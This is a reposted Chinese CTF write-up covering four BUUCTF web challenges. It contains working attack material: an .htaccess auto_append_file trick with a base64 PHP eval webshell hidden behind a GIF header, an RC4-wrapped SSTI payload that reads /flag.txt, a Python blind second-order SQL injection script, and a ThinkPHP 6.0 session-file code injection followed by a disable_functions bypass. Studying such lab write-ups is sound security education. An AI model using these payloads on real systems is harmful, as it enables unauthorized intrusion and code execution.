flag 在 phpinfo 里面直接就能看到了… 预期解的思路是上传文件 然后利用 .htaccess 中的 php_value 来设置 php.ini 的部分内容 (类似 .user.ini), 然后利用 auto_append_file 插入 php 代码

但因为上传的文件中过滤了 <?, 所以我们需要通过 php://filter 中的过滤器来绕过 (auto_append_file 其实就是 include, 也支持伪协议), 方法很多 (utf-7 utf-16 base64 等等), 这里以 base64 为例

.htaccess

#define width 1337
#define height 1337
AddType application/x-httpd-php .xxx

php_value auto_append_file "php://filter/read=convert.base64-decode/resource=123.xxx"

123.xxx

GIF89AaaPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pO3BocGluZm8oKTs/Pg

开头的 GIF89A 用来绕过 exif_imagetype(), 其中 PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pO3BocGluZm8oKTs/Pg 后面本来要补两个 =, 但 GIF89A 一共 6 个字符, 所以干脆就把 = 删掉并在 GIF89A 后面补上了两个 a

f5z0yk0rzza.png

pwmqblylk5z.png

hiyip5thrgc.png

连接查看 flag

1fmypl1mgjx.png

环境还是跟原题不一样… 没办法了

根据提示猜了个 /secret

http://15fd0e7e-28c6-4777-a466-7eee2ff489bb.node4.buuoj.cn:81/secret?secret=asdasd

触发报错, 可以看到部分源码

a0kns0py4gc.png

rc4 加密, 密钥为 HereIsTreasure

网上找了一堆 rc4 加解密脚本都不行, 最后只能用 wp 里的脚本…

import base64
from urllib.parse import quote

def rc4_main(key = "init_key", message = "init_message"):
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box

def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    print("cipher: %s" %quote(cipher))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

rc4_main("HereIsTreasure", r"{{url_for['__global''s__']['__builtins__']['__im''port__']('os')['p''open']('cat /flag.txt')['rea''d']()}}")

绕过很简单就不写了

hmznigg2jdz.png

o51nrxjkjtg.png

register.php

mznf1zrja3i.png

登录后会显示用户名

cg4050yadgf.png

猜测存在二次注入

注册时在 email 处试了好久都不行, 后来才发现是 username

email=aaa@qq.com&username=1'^(case when length(database())>0 then sleep(5) else 0 end)^'1&password=3

1nwrrt4uhba.png

因为过滤了逗号, 不太好直接闭合, 所以改成用异或连接, 例如

'1'^true^'1' # true
'1'^false^'1' # false

整个表达式的真假性与中间的表达式一致, 第一条在登录后会显示 1, 第二条显示 0

wp 中用的是 +, 原理都差不多

题目过滤了 , 考虑用 substring(a from b for c)

同时 information_shema 也被过滤了, 并且 mysql 版本为 5.5.64 无 sys 库, 也没有启用 innoDB

于是猜测表名为 flag, 然后绕过列名直接进行无列名注入, 列数试一试就出来了

import requests
import random
import re
import time

url = 'http://f3fab6bd-8df8-48a5-9e05-36ba8a4a3234.node4.buuoj.cn:81'

def register(sql):
    payload = "1'^({})^'1".format(sql)
    email = str(random.random()) + '@qq.com',
    data = {
    'email': email,
    'username': payload,
    'password': '1'
    }
    res = requests.post(url + '/register.php', data=data)
    if res.status_code == '200':
        print('error')
        exit()
    return email

def login(email):
    data = {
    'email': email,
    'password': '1'
    }
    res = requests.post(url + '/login.php', data=data)
    code = int(re.findall(r'<span class="user-name">\n[ ]{1,}(.*?)[ ]{1,}<\/span>', res.text)[0])
    return code


flag = ''

i = 1

while True:

    min = 32
    max = 127

    while min < max:
        time.sleep(0.3)
        mid = (min + max) // 2
        print('testing',chr(mid))
        sql = 'ascii(substring((select group_concat(`1`) from (select 1 union select * from flag)x) from {} for 1))>{}'.format(i,mid)
        if login(register(sql)):
            min = mid + 1
        else:
            max = mid
    flag += chr(min)
    print(flag)
    i += 1

14q1kt25kvf.png

z2lp2u1gsrg.png

www.zip

hcmqbvms5kg.png

thinkphp 6.0 筛子

参考文章 https://www.anquanke.com/post/id/257485

利用条件是 session 可控, 恰好 Member.php 中存在相关逻辑

<?php
namespace app\home\controller;

use think\exception\ValidateException;
use think\facade\Db;
use think\facade\View;
use app\common\model\User;
use think\facade\Request;
use app\common\controller\Auth;

class Member extends Base
{

    public function index()
    {
        if (session("?UID"))
        {
            $data = ["uid" => session("UID")];
            $record = session("Record");
            $recordArr = explode(",", $record);
            $username = Db::name("user")->where($data)->value("username");
            return View::fetch('member/index',["username" => $username,"record_list" => $recordArr]);
        }
        return view('member/index',["username" => "Are you Login?","record_list" => ""]);
    }

    public function login()
    {
        if (Request::isPost()){
            $username = input("username");
            $password = md5(input("password"));
            $data["username"] = $username;
            $data["password"] = $password;
            $userId = Db::name("user")->where($data)->value("uid");
            $userStatus = Db::name("user")->where($data)->value("status");
            if ($userStatus == 1){
                return "<script>alert(\"该用户已被禁用，无法登陆\");history.go(-1)</script>";
            }
            if ($userId){
                session("UID",$userId);
                return redirect("/home/member/index");
            }
            return "<script>alert(\"用户名或密码错误\");history.go(-1)</script>";

        }else{
            return view('login');
        }
    }

    public function register()
    {
        if (Request::isPost()){
            $data = input("post.");
            if (!(new Auth)->validRegister($data)){
                return "<script>alert(\"当前用户名已注册\");history.go(-1)</script>";
            }
            $data["password"] = md5($data["password"]);
            $data["status"] = 0;
            $res = User::create($data);
            if ($res){
                return redirect('/home/member/login');
            }
            return "<script>alert(\"注册失败\");history.go(-1)</script>";
        }else{
            return View("register");
        }
    }

    public function logout()
    {
        session("UID",NULL);

        return "<script>location.href='/home/member/login'</script>";
    }

    public function updateUser()
    {
        $data = input("post.");
        $update = Db::name("user")->where("uid",session("UID"))->update($data);
        if($update){
            return json(["code" => 1, "msg" => "修改成功"]);
        }
        return json(["code" => 0, "msg" => "修改失败"]);
    }

    public function rePassword()
    {
        $oldPassword = input("oldPassword");
        $password = input("password");
        $where["uid"] = session("UID");
        $where["password"] = md5($oldPassword);
        $res = Db::name("user")->where($where)->find();
        if ($res){
            $rePassword = User::update(["password" => md5($password)],["uid"=> session("UID")]);
            if ($rePassword){
                return json(["code" => 1, "msg" => "修改成功"]);
            }
            return json(["code" => 0, "msg" => "修改失败"]);
        }
        return json(["code" => 0, "msg" => "原密码错误"]);
    }

    public function search()
    {
        if (Request::isPost()){
            if (!session('?UID'))
            {
                return redirect('/home/member/login');            
            }
            $data = input("post.");
            $record = session("Record");
            if (!session("Record"))
            {
                session("Record",$data["key"]);
            }
            else
            {
                $recordArr = explode(",",$record);
                $recordLen = sizeof($recordArr);
                if ($recordLen >= 3){
                    array_shift($recordArr);
                    session("Record",implode(",",$recordArr) . "," . $data["key"]);
                    return View::fetch("result",["res" => "There's nothing here"]);
                }

            }
            session("Record",$record . "," . $data["key"]);
            return View::fetch("result",["res" => "There's nothing here"]);
        }else{
            return View("search");
        }
    }
}

search() 方法将每一次的搜索结果追加到 session Record 中, 而搜索结果可控

先注册用户 123/123, 登录的时候注意更改 PHPSESSID (构造 32 位长度)

lt15z32pm30.png

然后搜索, key 处填入 php 代码

g3zqnshbwib.png

最后访问 /runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php

waugtimb4gc.png

蚁剑连接, 用 PHP7 Backtrace UAF bypass disable_function 执行命令

2d5fpyckf3h.png

- By:X1r0z[exp10it.cn]

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
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  • 本文由 发表于 2023年12月15日21:11:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   BUUCTF Web Writeup 6https://cn-sec.com/archives/2305738.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

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